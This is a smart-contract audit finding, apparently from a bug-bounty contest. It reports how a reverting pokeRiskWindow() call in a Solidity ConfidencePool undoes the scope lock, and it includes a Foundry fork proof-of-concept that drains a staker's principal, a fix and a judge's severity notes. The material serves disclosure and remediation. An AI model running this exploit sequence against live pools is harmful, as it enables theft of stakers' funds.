FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

Reverted `pokeRiskWindow()` during `ATTACK_REQUESTED` lets the sponsor replace pool scope after rejection

Author Revealed upon completion

Description

ConfidencePool normally locks its pool-local scope on the first interaction that observes the BattleChain registry outside the pre-attack staging states NOT_DEPLOYED and NEW_DEPLOYMENT. After this lock, the sponsor should no longer be able to replace the scope that existing stakers used when deciding to deposit.

ATTACK_REQUESTED is outside NOT_DEPLOYED / NEW_DEPLOYMENT, and successful pool interactions in that state persist scopeLocked. However, the permissionless pokeRiskWindow() path reverts in ATTACK_REQUESTED after _observePoolState() sets scopeLocked = true, because ATTACK_REQUESTED does not set riskWindowStart or riskWindowEnd. The revert rolls back the scope lock. When the upstream attack request is later rejected back to NOT_DEPLOYED, the sponsor can replace the pool scope even though the agreement already left pre-attack staging once.

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
// ATTACK_REQUESTED reaches this revert because it is neither active-risk nor terminal.
// The revert rolls back the scopeLocked write made inside _observePoolState().
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
_observePoolState();
// After the upstream registry is rejected back to NOT_DEPLOYED, scopeLocked is still false,
// so the sponsor can replace the scope for already-committed stake.
@> if (scopeLocked) revert ScopePostLockImmutable();
@> _replaceScope(accounts);
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
// ATTACK_REQUESTED enters this branch, but pokeRiskWindow later reverts and rolls it back.
@> if (
@> !scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
@> && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
@> ) {
@> scopeLocked = true;
@> emit ScopeLocked(block.timestamp);
@> }
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}

Risk

Likelihood:

  • This occurs during an ATTACK_REQUESTED phase where a caller uses the permissionless pokeRiskWindow() observation path instead of a successful stake, withdrawal, bonus contribution, or moderator action.

  • This occurs after the upstream registry rejects the attack request back to NOT_DEPLOYED, because setPoolScope() then observes a staging state and leaves the rolled-back scopeLocked value as false.

Impact:

  • Existing stakers remain committed to a pool whose scope can be replaced after the agreement already left pre-attack staging, breaking the documented pool-local scope commitment.

  • The PoC shows Alice's 100 * 1e18 stake swept to recoveryAddress after the sponsor replaces the scope, the registry later reaches UNDER_ATTACK / CORRUPTED, and the moderator flags bad-faith CORRUPTED.

Proof of Concept

Fork PoC file:

The fork PoC deploys the pool system locally into a pinned BattleChain testnet fork and uses the live testnet SafeHarborRegistry, demo agreement, agreement owner, and in-scope account at block 16000. It mocks registry lifecycle reads at the live AttackRegistry address to avoid live state mutation. The pinned demo agreement has only one live in-scope account, so the replacement account's isContractInScope() response is mocked only for the replacement-scope branch.

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-path test/fork/ConfidencePoolPokeScopeLock.fork.t.sol -vvv

Result:

[PASS] testForkPoC_CONTROL_successfulStakeDuringAttackRequestedPersistsScopeLock()
[PASS] testForkPoC_pokeDuringAttackRequestedDoesNotPersistScopeLock()
2 tests passed; 0 failed; 0 skipped

Fork PoC code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
/// @notice Fork PoC for the ATTACK_REQUESTED scope-lock rollback against the live BattleChain
/// testnet registry + demo agreement shape. Deploys the pool system locally into a pinned fork.
/// Lifecycle states are mocked at the live AttackRegistry address to avoid mutating live chain
/// state. The demo agreement has one live in-scope account at the pinned block, so the replacement
/// account's `isContractInScope` response is mocked only for the replacement-scope call.
contract ConfidencePoolPokeScopeLockForkPoCTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
address internal constant REPLACEMENT_SCOPE_ACCOUNT = address(0xBEEF);
uint256 internal constant PIN_BLOCK = 16000;
uint256 internal constant ONE = 1e18;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal stakeToken;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal dave = makeAddr("dave");
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory) {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
} catch {
vm.skip(true);
return;
}
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
_mockAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), block.timestamp + 31 days, ONE, recovery, accounts)
);
}
function testForkPoC_pokeDuringAttackRequestedDoesNotPersistScopeLock() external {
_stake(alice, 100 * ONE);
assertTrue(pool.isAccountInScope(DEMO_AGREEMENT_IN_SCOPE), "initial scope active");
assertFalse(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement not in pool scope");
assertFalse(pool.scopeLocked(), "scope starts unlocked");
_mockAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.prank(dave);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "reverted poke rolled back scope lock");
_mockAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
_mockReplacementScopeAccountInAgreement();
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
vm.prank(DEMO_AGREEMENT_OWNER);
pool.setPoolScope(replacementScope);
assertFalse(pool.isAccountInScope(DEMO_AGREEMENT_IN_SCOPE), "original committed scope removed");
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope installed");
assertEq(pool.eligibleStake(alice), 100 * ONE, "staker remains committed");
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "replacement scope eventually locks");
assertGt(pool.riskWindowStart(), 0, "risk window starts");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(recovery) - recoveryBefore, 100 * ONE, "changed-scope corruption sweeps stake");
assertEq(stakeToken.balanceOf(alice), 0, "alice loses principal");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool drained");
}
function testForkPoC_CONTROL_successfulStakeDuringAttackRequestedPersistsScopeLock() external {
_mockAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
_stake(alice, 100 * ONE);
assertTrue(pool.scopeLocked(), "successful gated interaction locks scope");
_mockAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
_mockReplacementScopeAccountInAgreement();
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
vm.prank(DEMO_AGREEMENT_OWNER);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacementScope);
assertTrue(pool.isAccountInScope(DEMO_AGREEMENT_IN_SCOPE), "original scope preserved");
assertFalse(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope rejected");
}
function _stake(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _mockAgreementState(IAttackRegistry.ContractState state) internal {
vm.clearMockedCalls();
vm.mockCall(
ATTACK_REGISTRY,
abi.encodeCall(IAttackRegistry.getAgreementState, (DEMO_AGREEMENT)),
abi.encode(state)
);
}
function _mockReplacementScopeAccountInAgreement() internal {
vm.mockCall(
DEMO_AGREEMENT,
abi.encodeCall(IAgreement.isContractInScope, (REPLACEMENT_SCOPE_ACCOUNT)),
abi.encode(true)
);
}
}

Recommended Mitigation

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
- _observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
+ bool wasScopeLocked = scopeLocked;
+ _observePoolState();
+ if (riskWindowStart == 0 && riskWindowEnd == 0 && scopeLocked == wasScopeLocked) {
+ revert RiskWindowNotReached();
+ }
}

This preserves the existing RiskWindowNotReached behavior when no relevant state was sealed, while allowing an ATTACK_REQUESTED observation to persist the scope lock.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Sponsor can atomically self-trigger ATTACK_REQUESTED and roll back scopeLocked via a reverting setPoolScope/pokeRiskWindow, reopening scope after a DAO rejection

Impact - Low Nothing moves when the scope is swapped, and the state afterward is pre-attack, so any staker who notices can withdraw in full. _replaceScope emits ScopeUpdated, which puts the change on-chain where it can be seen. Real loss needs a restarted attack cycle that breaches one of the substituted accounts with the original staker still in the pool, at which point their principal funds a CORRUPTED payout for coverage they never chose. Likelihood - Medium The step the sponsor cannot force is the moderator rejecting the attack request, though rejections are an ordinary registry operation. The rest they can arrange. Neither observation path can seal the lock in this state, and pausing the pool shuts the deposit routes, leaving only a full-exit withdraw to do it. So reaching the mutable-scope condition is not hard; what holds the severity down is how much has to go wrong afterward for anyone to actually lose money.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!